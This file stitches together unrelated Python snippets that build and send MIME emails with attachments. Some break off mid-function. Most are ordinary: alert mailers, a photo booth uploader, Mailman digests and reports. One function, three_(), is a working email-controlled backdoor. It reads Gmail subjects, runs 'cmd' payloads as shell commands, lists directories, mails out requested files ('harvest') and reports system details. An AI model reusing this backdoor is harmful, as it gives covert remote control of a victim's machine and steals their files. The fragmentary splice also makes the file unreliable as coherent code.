def SendSimpleEmailAlert(self, message, recipients = None, subject = None, sysinfo = 1, html = 0, attachments = [], subjectonly = 0): self.LogInfo('SendSimpleEmailAlert ', (len(message), recipients, subject, sysinfo, html)) if recipients is None: recipients = self.mail_defaultrecpt elif type(recipients) in types.StringTypes: recipients = [recipients] elif type(recipients) != types.ListType: raise RuntimeError("SendSimpleEmailAlert: 'recipients' must be a list of strings") if not recipients: self.LogInfo('Not sending alert, no recipient specified', subject) return timestamp = util.FmtDateEng(blue.os.GetWallclockTime(), 'ns') if subject is None: subject = 'Server Alert: Alert from node %s on %s at %s' % (sm.services['machoNet'].nodeID, self.computername, timestamp) elif subjectonly == 0: subject = 'Server Alert: %s at %s' % (subject, timestamp) if sysinfo: if html: message += '<br>\n<br>\nSysinfo:<br><table border=1>\n' for k, v in self.GetSysInfo(): message += '<tr><td>%s</td><td>%s</td></tr>\n' % (k, v) else: message += '\n\n' + '-' * 78 + '\n' for k, v in self.GetSysInfo(): message += '%-15s%s\n' % (k + ':', v) from email.MIMEText import MIMEText from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email import encoders msg = MIMEMultipart() if html: subtype = 'html' charset = 'iso8859' else: subtype = 'plain' charset = 'us-ascii' if type(message) is unicode: message = message.encode('utf-8') charset = 'utf-8' att = MIMEText(message, subtype, charset) msg.attach(att) subject = subject.replace('\n', '').replace('\r', '') msg['Subject'] = subject msg['From'] = self.mail_sender msg['To'] = ', '.join(recipients) for attName, attData in attachments: io = cStringIO.StringIO() zipfile = gzip.GzipFile(attName, 'w', 9, io) zipfile.write(attData) zipfile.close() att = MIMEBase('application', 'gz') att.set_payload(io.getvalue()) encoders.encode_base64(att) att.add_header('Content-Disposition', 'attachment', filename=attName + '.gz') msg.attach(att) self.SendMail(self.mail_sender, recipients, msg.as_string(0))
def get_mail_text(self, fields, request, context): """Get header and body of e-mail as text (string) """ headerinfo = self.get_header_info(fields, request, context) body = self.get_mail_body(fields, request, context) if not isinstance(body, unicode): body = unicode(body, 'UTF-8') email_charset = 'utf-8' # always use text/plain for encrypted bodies subtype = getattr( self, 'gpg_keyid', False) and 'plain' or self.body_type or 'html' mime_text = MIMEText(body.encode(email_charset, 'replace'), _subtype=subtype, _charset=email_charset) attachments = self.get_attachments(fields, request) if attachments: outer = MIMEMultipart() outer.attach(mime_text) else: outer = mime_text # write header for key, value in headerinfo.items(): outer[key] = value # write additional header additional_headers = self.additional_headers or [] for a in additional_headers: key, value = a.split(':', 1) outer.add_header(key, value.strip()) for attachment in attachments: filename = attachment[0] ctype = attachment[1] # encoding = attachment[2] content = attachment[3] if ctype is None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': msg = MIMEText(content, _subtype=subtype) elif maintype == 'image': msg = MIMEImage(content, _subtype=subtype) elif maintype == 'audio': msg = MIMEAudio(content, _subtype=subtype) else: msg = MIMEBase(maintype, subtype) msg.set_payload(content) # Encode the payload using Base64 Encoders.encode_base64(msg) # Set the filename parameter msg.add_header( 'Content-Disposition', 'attachment', filename=filename) outer.attach(msg) return outer.as_string()
def render_email(from_email, to, subject, text_template=None, html_template=None, cc=None, attachments=None, **context): """ Read the templates for email messages, format them, construct the email from them and return the corresponding email message object. :param from_email: Email From :param to: Email IDs of direct recepients :param subject: Email subject :param text_template: <Text email template path> :param html_template: <HTML email template path> :param cc: Email IDs of Cc recepients :param attachments: A dict of filename:string as key value pair [preferable file buffer streams] :param context: Context to be sent to template rendering :return: Email multipart instance or Text/HTML part """ if not (text_template or html_template): raise Exception("Atleast HTML or TEXT template is required") # Create the body of the message (a plain-text and an HTML version). # text is your plain-text email # html is your html version of the email # if the reciever is able to view html emails then only the html # email will be displayed if attachments: msg = MIMEMultipart('mixed') else: msg = MIMEMultipart('alternative') if text_template: if isinstance(text_template, Template): text = text_template.render(**context) else: text = unicode(render_template(text_template, **context)) text_part = MIMEText(text.encode("utf-8"), 'plain', _charset="UTF-8") msg.attach(text_part) if html_template: if isinstance(html_template, Template): html = html_template.render(**context) else: html = unicode(render_template(html_template, **context)) html_part = MIMEText(html.encode("utf-8"), 'html', _charset="UTF-8") msg.attach(html_part) if text_template and not (html_template or attachments): msg = text_part elif html_template and not (text_template or attachments): msg = html_part if attachments: for filename, content in attachments.items(): part = MIMEBase('application', "octet-stream") part.set_payload(content) Encoders.encode_base64(part) # XXX: Filename might have to be encoded with utf-8, # i.e., part's encoding or with email's encoding part.add_header('Content-Disposition', 'attachment; filename="%s"' % filename) msg.attach(part) # We need to use Header objects here instead of just assigning the strings # in order to get our headers properly encoded (with QP). msg['Subject'] = Header(subject) msg['From'] = Header(from_email) msg['To'] = Header(to) if cc: msg['Cc'] = Header(cc) return msg
def start_photobooth(): ################################# Begin Step 1 ################################# print "Get Ready" camera = picamera.PiCamera() camera.resolution = ( 500, 375 ) #use a smaller size to process faster, and tumblr will only take up to 500 pixels wide for animated gifs camera.vflip = True camera.hflip = True camera.saturation = -100 camera.start_preview() i = 1 #iterate the blink of the light in prep, also gives a little time for the camera to warm up while i < prep_delay: GPIO.output(led1_pin, True) sleep(.5) GPIO.output(led1_pin, False) sleep(.5) i += 1 ################################# Begin Step 2 ################################# print "Taking pics" now = time.strftime( "%Y%m%d%H%M%S" ) #get the current date and time for the start of the filename try: #take the photos for i, filename in enumerate( camera.capture_continuous(file_path + now + '-' + '{counter:02d}.jpg')): GPIO.output(led2_pin, True) #turn on the LED print(filename) sleep(0.25) #pause the LED on for just a bit GPIO.output(led2_pin, False) #turn off the LED sleep(capture_delay) # pause in-between shots if i == total_pics - 1: break finally: camera.stop_preview() camera.close() ########################### Begin Step 3 ################################# print "Creating an animated gif" GPIO.output(led3_pin, True) #turn on the LED graphicsmagick = "gm convert -delay " + str( gif_delay ) + " " + file_path + now + "*.jpg " + file_path + now + ".gif" os.system(graphicsmagick) #make the .gif print "Uploading to tumblr. Please check " + tumblr_blog + " soon." connected = is_connected( ) #check to see if you have an internet connection while connected: try: msg = MIMEMultipart() msg['Subject'] = "Photo Booth " + now msg['From'] = addr_from msg['To'] = addr_to file_to_upload = file_path + now + ".gif" print file_to_upload fp = open(file_to_upload, 'rb') part = MIMEBase('image', 'gif') part.set_payload(fp.read()) Encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file_to_upload)) fp.close() msg.attach(part) server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(user_name, password) server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() break except ValueError: print "Oops. No internect connection. Upload later." try: #make a text file as a note to upload the .gif later file = open(file_path + now + "-FILENOTUPLOADED.txt", 'w') # Trying to create a new file or open one file.close() except: print('Something went wrong. Could not write file.') sys.exit(0) # quit Python GPIO.output(led3_pin, False) #turn off the LED ########################### Begin Step 4 ################################# GPIO.output(led4_pin, True) #turn on the LED try: display_pics(now) except Exception, e: tb = sys.exc_info()[2] traceback.print_exception(e.__class__, e, tb)
var = list() # rb e uma leitura binaria msg = MIMEMultipart() msg['From'] = meu_email msg['To'] = var.append(encaminhar) msg['Subject'] = 'image mp4' boby = MIMEText(open('email.txt', 'rb').read()) msg.attach(boby) filename = 'image.mp4' attachment = open(filename, "rb") mimetype_anexo = mimetypes.guess_type(filename)[0].split('/') part = MIMEBase(mimetype_anexo[0], mimetype_anexo[1]) part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % filename) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(meu_email, open('senha.txt').read().strip()) msg = msg.as_string() print(msg) server.sendmail(meu_email, encaminhar, msg)
if maintype == 'text': fp = open(filePath) # Note: we should handle calculating the charset part = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': fp = open(filePath, 'rb') part = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': fp = open(filePath, 'rb') part = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: fp = open(filePath, 'rb') part = MIMEBase(maintype, subtype) part.set_payload(fp.read()) fp.close() # Encode the payload using Base64 Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % filePath) msg.attach(part) try: smtp.sendmail(From, To, msg.as_string()) except: print "Mail not sent" else: print "Mail sent" smtp.close() else:
def send_mail(to, subject, text, attachments=[], cc=[], bcc=[], smtphost="", fromaddr=""): """ sends email, perhaps with attachment """ if sys.version_info[0] == 2: from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email.MIMEText import MIMEText from email.Utils import COMMASPACE, formatdate from email import Encoders else: from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders as Encoders from string import Template import socket import smtplib if not isinstance(to, list): print("the 'to' parameter needs to be a list") return False if len(to) == 0: print("no 'to' email addresses") return False myhost = socket.getfqdn() if smtphost == '': smtphost = get_mx_from_email_or_fqdn(myhost) if not smtphost: sys.stderr.write('could not determine smtp mail host !\n') if fromaddr == '': fromaddr = os.path.basename(__file__) + '-no-reply@' + \ '.'.join(myhost.split(".")[-2:]) #extract domain from host tc = 0 for t in to: if '@' not in t: # if no email domain given use domain from local host to[tc] = t + '@' + '.'.join(myhost.split(".")[-2:]) tc += 1 message = MIMEMultipart() message['From'] = fromaddr message['To'] = COMMASPACE.join(to) message['Date'] = formatdate(localtime=True) message['Subject'] = subject message['Cc'] = COMMASPACE.join(cc) message['Bcc'] = COMMASPACE.join(bcc) body = Template('This is a notification message from $application, running on \n' + \ 'host $host. Please review the following message:\n\n' + \ '$notify_text\n\n' ) host_name = socket.gethostname() full_body = body.substitute(host=host_name.upper(), notify_text=text, application=os.path.basename(__file__)) message.attach(MIMEText(full_body)) for f in attachments: part = MIMEBase('application', 'octet-stream') part.set_payload(open(f, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f)) message.attach(part) addresses = [] for x in to: addresses.append(x) for x in cc: addresses.append(x) for x in bcc: addresses.append(x) smtp = smtplib.SMTP(smtphost) smtp.sendmail(fromaddr, addresses, message.as_string()) smtp.close() return True
msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = "End of {}".format(script_name) body = """Dear Felipe, the script {} is done. A review of the process can be seen in the following attachments. Best, Nara""".format(script_name) msg.attach(MIMEText(body, 'plain')) filename1 = "RNNLM_dropout.txt" attachment1 = open(cwd + '/' + filename1, "rb") part1 = MIMEBase('application', 'octet-stream') part1.set_payload((attachment1).read()) encoders.encode_base64(part1) part1.add_header('Content-Disposition', "attachment; filename= %s" % filename1) msg.attach(part1) filename2 = "RNNLM_dropout.png" attachment2 = open(cwd + '/' + filename2, "rb") part2 = MIMEBase('application', 'octet-stream') part2.set_payload((attachment2).read()) encoders.encode_base64(part2) part2.add_header('Content-Disposition', "attachment; filename= %s" % filename2)
def send_i18n_digests(mlist, mboxfp): mbox = Mailbox(mboxfp) # Prepare common information (first lang/charset) lang = mlist.preferred_language lcset = Utils.GetCharSet(lang) lcset_out = Charset(lcset).output_charset or lcset # Common Information (contd) realname = mlist.real_name volume = mlist.volume issue = mlist.next_digest_number digestid = _('%(realname)s Digest, Vol %(volume)d, Issue %(issue)d') digestsubj = Header(digestid, lcset, header_name='Subject') # Set things up for the MIME digest. Only headers not added by # CookHeaders need be added here. # Date/Message-ID should be added here also. mimemsg = Message.Message() mimemsg['Content-Type'] = 'multipart/mixed' mimemsg['MIME-Version'] = '1.0' mimemsg['From'] = mlist.GetRequestEmail() mimemsg['Subject'] = digestsubj mimemsg['To'] = mlist.GetListEmail() mimemsg['Reply-To'] = mlist.GetListEmail() mimemsg['Date'] = formatdate(localtime=1) mimemsg['Message-ID'] = Utils.unique_message_id(mlist) # Set things up for the rfc1153 digest plainmsg = StringIO() rfc1153msg = Message.Message() rfc1153msg['From'] = mlist.GetRequestEmail() rfc1153msg['Subject'] = digestsubj rfc1153msg['To'] = mlist.GetListEmail() rfc1153msg['Reply-To'] = mlist.GetListEmail() rfc1153msg['Date'] = formatdate(localtime=1) rfc1153msg['Message-ID'] = Utils.unique_message_id(mlist) separator70 = '-' * 70 separator30 = '-' * 30 # In the rfc1153 digest, the masthead contains the digest boilerplate plus # any digest header. In the MIME digests, the masthead and digest header # are separate MIME subobjects. In either case, it's the first thing in # the digest, and we can calculate it now, so go ahead and add it now. mastheadtxt = Utils.maketext( 'masthead.txt', {'real_name' : mlist.real_name, 'got_list_email': mlist.GetListEmail(), 'got_listinfo_url': mlist.GetScriptURL('listinfo', absolute=1), 'got_request_email': mlist.GetRequestEmail(), 'got_owner_email': mlist.GetOwnerEmail(), }, mlist=mlist) # MIME masthead = MIMEText(mastheadtxt, _charset=lcset) masthead['Content-Description'] = digestid mimemsg.attach(masthead) # RFC 1153 print >> plainmsg, mastheadtxt print >> plainmsg # Now add the optional digest header if mlist.digest_header: headertxt = decorate(mlist, mlist.digest_header, _('digest header')) # MIME header = MIMEText(headertxt, _charset=lcset) header['Content-Description'] = _('Digest Header') mimemsg.attach(header) # RFC 1153 print >> plainmsg, headertxt print >> plainmsg # Now we have to cruise through all the messages accumulated in the # mailbox file. We can't add these messages to the plainmsg and mimemsg # yet, because we first have to calculate the table of contents # (i.e. grok out all the Subjects). Store the messages in a list until # we're ready for them. # # Meanwhile prepare things for the table of contents toc = StringIO() print >> toc, _("Today's Topics:\n") # Now cruise through all the messages in the mailbox of digest messages, # building the MIME payload and core of the RFC 1153 digest. We'll also # accumulate Subject: headers and authors for the table-of-contents. messages = [] msgcount = 0 msg = mbox.next() while msg is not None: if msg == '': # It was an unparseable message msg = mbox.next() continue msgcount += 1 messages.append(msg) # Get the Subject header msgsubj = msg.get('subject', _('(no subject)')) subject = Utils.oneline(msgsubj, lcset) # Don't include the redundant subject prefix in the toc mo = re.match('(re:? *)?(%s)' % re.escape(mlist.subject_prefix), subject, re.IGNORECASE) if mo: subject = subject[:mo.start(2)] + subject[mo.end(2):] username = '' addresses = getaddresses([Utils.oneline(msg.get('from', ''), lcset)]) # Take only the first author we find if isinstance(addresses, ListType) and addresses: username = addresses[0][0] if not username: username = addresses[0][1] if username: username = '******' % username # Put count and Wrap the toc subject line wrapped = Utils.wrap('%2d. %s' % (msgcount, subject), 65) slines = wrapped.split('\n') # See if the user's name can fit on the last line if len(slines[-1]) + len(username) > 70: slines.append(username) else: slines[-1] += username # Add this subject to the accumulating topics first = True for line in slines: if first: print >> toc, ' ', line first = False else: print >> toc, ' ', line.lstrip() # We do not want all the headers of the original message to leak # through in the digest messages. For this phase, we'll leave the # same set of headers in both digests, i.e. those required in RFC 1153 # plus a couple of other useful ones. We also need to reorder the # headers according to RFC 1153. Later, we'll strip out headers for # for the specific MIME or plain digests. keeper = {} all_keepers = {} for header in (mm_cfg.MIME_DIGEST_KEEP_HEADERS + mm_cfg.PLAIN_DIGEST_KEEP_HEADERS): all_keepers[header] = True all_keepers = all_keepers.keys() for keep in all_keepers: keeper[keep] = msg.get_all(keep, []) # Now remove all unkempt headers :) for header in msg.keys(): del msg[header] # And add back the kept header in the RFC 1153 designated order for keep in all_keepers: for field in keeper[keep]: msg[keep] = field # And a bit of extra stuff msg['Message'] = `msgcount` # Get the next message in the digest mailbox msg = mbox.next() # Now we're finished with all the messages in the digest. First do some # sanity checking and then on to adding the toc. if msgcount == 0: # Why did we even get here? return toctext = toc.getvalue() # MIME tocpart = MIMEText(toctext, _charset=lcset) tocpart['Content-Description']= _("Today's Topics (%(msgcount)d messages)") mimemsg.attach(tocpart) # RFC 1153 print >> plainmsg, toctext print >> plainmsg # For RFC 1153 digests, we now need the standard separator print >> plainmsg, separator70 print >> plainmsg # Now go through and add each message mimedigest = MIMEBase('multipart', 'digest') mimemsg.attach(mimedigest) first = True for msg in messages: # MIME. Make a copy of the message object since the rfc1153 # processing scrubs out attachments. mimedigest.attach(MIMEMessage(copy.deepcopy(msg))) # rfc1153 if first: first = False else: print >> plainmsg, separator30 print >> plainmsg # Use Mailman.Handlers.Scrubber.process() to get plain text try: msg = scrubber(mlist, msg) except Errors.DiscardMessage: print >> plainmsg, _('[Message discarded by content filter]') continue # Honor the default setting for h in mm_cfg.PLAIN_DIGEST_KEEP_HEADERS: if msg[h]: uh = Utils.wrap('%s: %s' % (h, Utils.oneline(msg[h], lcset))) uh = '\n\t'.join(uh.split('\n')) print >> plainmsg, uh print >> plainmsg # If decoded payload is empty, this may be multipart message. # -- just stringfy it. payload = msg.get_payload(decode=True) \ or msg.as_string().split('\n\n',1)[1] mcset = msg.get_content_charset('') if mcset and mcset <> lcset and mcset <> lcset_out: try: payload = unicode(payload, mcset, 'replace' ).encode(lcset, 'replace') except (UnicodeError, LookupError): # TK: Message has something unknown charset. # _out means charset in 'outer world'. payload = unicode(payload, lcset_out, 'replace' ).encode(lcset, 'replace') print >> plainmsg, payload if not payload.endswith('\n'): print >> plainmsg # Now add the footer if mlist.digest_footer: footertxt = decorate(mlist, mlist.digest_footer, _('digest footer')) # MIME footer = MIMEText(footertxt, _charset=lcset) footer['Content-Description'] = _('Digest Footer') mimemsg.attach(footer) # RFC 1153 # MAS: There is no real place for the digest_footer in an RFC 1153 # compliant digest, so add it as an additional message with # Subject: Digest Footer print >> plainmsg, separator30 print >> plainmsg print >> plainmsg, 'Subject: ' + _('Digest Footer') print >> plainmsg print >> plainmsg, footertxt print >> plainmsg print >> plainmsg, separator30 print >> plainmsg # Do the last bit of stuff for each digest type signoff = _('End of ') + digestid # MIME # BAW: This stuff is outside the normal MIME goo, and it's what the old # MIME digester did. No one seemed to complain, probably because you # won't see it in an MUA that can't display the raw message. We've never # got complaints before, but if we do, just wax this. It's primarily # included for (marginally useful) backwards compatibility. mimemsg.postamble = signoff # rfc1153 print >> plainmsg, signoff print >> plainmsg, '*' * len(signoff) # Do our final bit of housekeeping, and then send each message to the # outgoing queue for delivery. mlist.next_digest_number += 1 virginq = get_switchboard(mm_cfg.VIRGINQUEUE_DIR) # Calculate the recipients lists plainrecips = [] mimerecips = [] drecips = mlist.getDigestMemberKeys() + mlist.one_last_digest.keys() for user in mlist.getMemberCPAddresses(drecips): # user might be None if someone who toggled off digest delivery # subsequently unsubscribed from the mailing list. Also, filter out # folks who have disabled delivery. if user is None or mlist.getDeliveryStatus(user) <> ENABLED: continue # Otherwise, decide whether they get MIME or RFC 1153 digests if mlist.getMemberOption(user, mm_cfg.DisableMime): plainrecips.append(user) else: mimerecips.append(user) # Zap this since we're now delivering the last digest to these folks. mlist.one_last_digest.clear() # MIME virginq.enqueue(mimemsg, recips=mimerecips, listname=mlist.internal_name(), isdigest=True) # RFC 1153 rfc1153msg.set_payload(plainmsg.getvalue(), lcset) virginq.enqueue(rfc1153msg, recips=plainrecips, listname=mlist.internal_name(), isdigest=True)
def mail_results(): # Mails .txt result to predefined address status = dict() status["valid_entry_len"] = EmailEntry.query.filter_by( validity=True).count() status["spam_entry_len"] = EmailEntry.query.filter_by(spam=True).count() with open("result.txt", "wb") as f: for valid_entry in EmailEntry.query.filter_by(validity=True): f.write("{0}\r\n".format(valid_entry.get_address())) with open("spam.txt", "wb") as f: for valid_entry in EmailEntry.query.filter_by(spam=True): f.write("{0}\r\n".format(valid_entry.get_address())) # "From" address built upon AWS instance's public DNS from_address = "bot@localhost" to_address = request.form["address"] status["address"] = to_address # Preparing message msg = MIMEMultipart() msg['From'] = from_address msg['To'] = to_address msg['Subject'] = "Email addresses verification result" body = "Check attachment." msg.attach(MIMEText(body, 'plain')) # And first attachment attachment = open("result.txt", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename=result.txt") msg.attach(part) # And spam attachment attachment = open("spam.txt", "rb") part = MIMEBase('application', 'octet-stream') part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename=spam.txt") msg.attach(part) try: # And sending it from smtplib import SMTP server = SMTP('localhost') text = msg.as_string() server.sendmail(from_address, to_address, text) server.quit() status["success"] = True except Exception as e: status["success"] = False print e return jsonify(status)
fromaddr = "*****@*****.**" toaddr = process_config('email_user', 'emailaddr') toaddr = toaddr.split(',') sub = 'NeCTAR Infrastructure Resource usage as %s %s, %s' % ( current_day, current_mth, current_year) msg['From'] = fromaddr msg['To'] = ",".join(toaddr) msg['Subject'] = sub f = open(file_w, 'r') html_data = [i for i in f] body = data_t.join(html_data) if os.path.exists(alloc): part = MIMEBase('application', "octet-stream") part.set_payload(open(alloc, "rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(alloc)) msg.attach(part) # msg.attach(MIMEText(body, 'plain')) msg.attach(MIMEText(body, 'html')) text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit() else: msg.attach(MIMEText(body, 'plain')) text = msg.as_string() server.sendmail(fromaddr, toaddr, text) server.quit()
#邮件正文是MIMEText: msg.attach(MIMEText('send with file...', 'plain', 'utf-8')) ''' 把一个图片嵌入到邮件正文中 ''' #大部分邮件服务商都会自动屏蔽带有外链的图片,因为不知道这些链接是否指向恶意网站。要把图片嵌入到邮件正文中,我们只需按照发送附件的方式, #先把邮件作为附件添加进去,然后,在HTML中通过引用src="cid:0"就可以把附件作为图片嵌入了。如果有多个图片,给它们依次编号,然后引用不同的cid:x即可 msg.attach( MIMEText( '<html><body><h1>Hello</h1>' + '<p><img src="cid:0"></p>' + '</body></html>', 'html', 'utf-8')) #添加附件就是加上一个MIMEBase,从本地读取一个图片: with open('test.jpg', 'rb') as f: #设置附件的MIME和文件名,这里是jpg类型: mime = MIMEBase('image', 'jpg', filename='test.jpg') #加上必要的头信息: mime.add_header('Content-Disposition', 'attachment', filename='test.png') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') #把附件的内容读进来: mime.set_payload(f.read()) #用Base64编码: encoders.encode_base64(mime) #添加到MIMEMultipart: msg.attach(mime) ########################################################################################### #邮件发送 import smtplib
def three_(): EMAIL_FOLDER = "INBOX" while 1: try: M = imaplib.IMAP4_SSL('imap.gmail.com') rv, data = M.login(gmail_user, gmail_pwd) rv, data = M.select(EMAIL_FOLDER) rv, data = M.search(None, "UNSEEN") for num in data[0].split(): rv, data = M.fetch(num, '(RFC822)') msg = email.message_from_string(data[0][1]) decode = email.header.decode_header(msg['Subject'])[0] subject = unicode(decode[0]) if subject[:4]=='cmd ': proc2=subprocess.Popen(subject[4:],shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) print 'CMD executed' stdout_value=proc2.stdout.read()+proc2.stderr.read() args=stdout_value try: msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = 'cmD Result' message_content = (str(args)) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break time.sleep(5) except Exception as e: print e time.sleep(0.1) if subject[:6]=='files ': try: paths=os.listdir(subject[6:]) msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = '['+subject[6:]+']'+' Contents' message_content = (paths) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break time.sleep(5) except Exception as e: time.sleep(0.1) if subject[:6]=='info': try: drives = win32api.GetLogicalDriveStrings() drive_ = drives.split('\000')[:-1] available='\n'+'Available Drives >>>>: '+'['+str(drive_)+']' drive=os.getenv('SystemDrive') drivee='\n'+'System Drive >>>>: '+'['+drive+']' uzer='User >>>>: '+'['+currentuser+']' msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = 'SYSTEM INFORMATION' message_content = (uzer+drivee+available) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break except Exception as e: time.sleep(0.1) time.sleep(5) if subject[:8]=='harvest ': try: attach=subject[8:] msg = MIMEMultipart() msg['From'] = 'Requested Attachment' msg['To'] = gmail_user msg['Subject'] = 'Requested Attachment' message_content = ('') msg.attach(MIMEText(str(message_content))) if os.path.exists(attach) == True: filo=open(attach,'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((filo).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) msg.attach(part) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break except Exception as e: time.sleep(5) if subject[:4]=='help': try: msg = MIMEMultipart() msg['To'] = gmail_user msg['Subject'] = 'HELP - COMMANDS' helpa=('> info - sys drive letter,etc , no arguments \n'+ '> files - [directory contents] \n'+ '> harvest - [certain document path 4 download] \n'+ '> cmd - cmd [command] \n') message_content = (helpa) msg.attach(MIMEText(str(message_content))) while True: mailServer = smtplib.SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() break time.sleep(5) except Exception as e: time.sleep(0.1) M.close() except Exception as e: print e time.sleep(5)
def sendEmail(server): ''' sendEmail(host_server): This module is a simple interface to send emails using the gmail or cern SMTP servers. When calling the module the only thing that needs to be specified is which server is to be used (cern or gmail). Just follow the prompt commands once launched. The "smtplib" is a low-level package interface for the Simple Mail Transfer Protocol (SMTP) protocol. The "email" package assists with parsing (analyzing a sentence into its parts and describe their syntactic roles) and generating emails. ''' # Import modules here import traceback import email from smtplib import SMTP from email.MIMEText import MIMEText from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email import encoders import mimetypes import sys import datetime import getpass # Define SMTP port to use and decide which of the two servers to use smtpPort = 587 #or 25 if server == "cern": smtpHost = "smtp.cern.ch" emailAddress = "@cern.ch" smtpUsername = "******" elif server == "gmail": smtpHost = "smtp.gmail.com" emailAddress = "@gmail.com" smtpUsername = "******" else: f.Cout('ERROR! The server argument %s is invalid. Please select between "cern" and "gmail". Exiting python shell.') print __doc__ sys.exit(1) # Get SMTP authorisation details f.Cout("Please provide your login credentials for %s to continue:" % (smtpUsername) ) sender = smtpUsername smtpPassword = getpass.getpass("\tPassword = "******"Attempting to connect to:\n\thost = %s\n\tport = %s" % (smtpHost, smtpPort)) connection = SMTP(host=smtpHost, port=smtpPort) connection.set_debuglevel(False) #True if smtpUsername is not False: connection.ehlo() if smtpPort != 25: connection.starttls() connection.ehlo() if smtpUsername and smtpPassword: connection.login(smtpUsername, smtpPassword) f.Cout("Succesfully logged on to:\n\tusername = %s\n\tpassword = %s" % (smtpUsername, f.obscureString(smtpPassword))) else: f.Cout("Unsuccesfull login. False credentials provided:\n\tusername = %s\n\tpassword = %s" % (smtpUsername, f.obscureString(smtpPassword))) print __doc__ sys.exit(1) # Get user input regarding email details f.Cout("Please provide the email details:") recipients = raw_input("\tTo: ") Cc = raw_input("\tCc: ") Bcc = raw_input("\tBcc (self excluded): ") subject = raw_input("\tSubject: ") content = raw_input("\tContent: ") attachment = raw_input("\tAttachment: ") if attachment == "": f.Cout("Nothing to attach.") bAttach = False else: f.Cout("Attachment file:\n\t%s" % (attachment) ) bAttach = True # Define return value as success == 0, failure == 1 returnValue = 1 # Take care of recipient lists if not(hasattr(recipients, "__iter__")): recipients = [recipients] if not(hasattr(Cc, "__iter__")): Cc = [Cc] if not(hasattr(Bcc, "__iter__")): Bcc = [Bcc] Bcc.append(smtpUsername) # Define message details, including attachments try: if bAttach == False: text_subtype = 'plain' mainMsg = MIMEText(content, text_subtype) else: mainMsg = MIMEMultipart() # Guess the type of a file based on its filename or URL, given by url. ctype, encoding = mimetypes.guess_type(attachment) print "ctype, encoding = %s, %s" % (ctype, encoding) maintype, subtype = ctype.split("/", 1) print "maintype, subtype = %s, %s" % (maintype, subtype) # The following do not depend on attachment mainMsg['From'] = sender # Some SMTP servers will do this automatically, but not all mainMsg['To'] = ", ".join(recipients) mainMsg['cc'] = ", ".join(Cc) mainMsg['Bcc'] = ", ".join(Bcc) mainMsg['Subject'] = subject # Send emails body and attachments f.Cout("Sending email to %s" % (recipients) ) try: if bAttach: mainMsg.attach(MIMEText(content)) fp = open(attachment, "rb") # open attachment in read/binary mode subMsg = MIMEBase(maintype, subtype) subMsg.set_payload(fp.read()) fp.close() encoders.encode_base64(subMsg) subMsg.add_header("Content-Disposition", "attachment", filename=attachment) mainMsg.attach(subMsg) # Connect to server and send complete email connection.sendmail( sender, recipients+Cc+Bcc, mainMsg.as_string() ) returnValue = 0 # (success) except Exception, e: f.Cout("Got %s %s.\n\tShowing traceback:\n%s" % (type(e), e, traceback.format_exc())) returnValue = 1 # (failure) print __doc__ finally: f.Cout("Closing connection.") connection.close()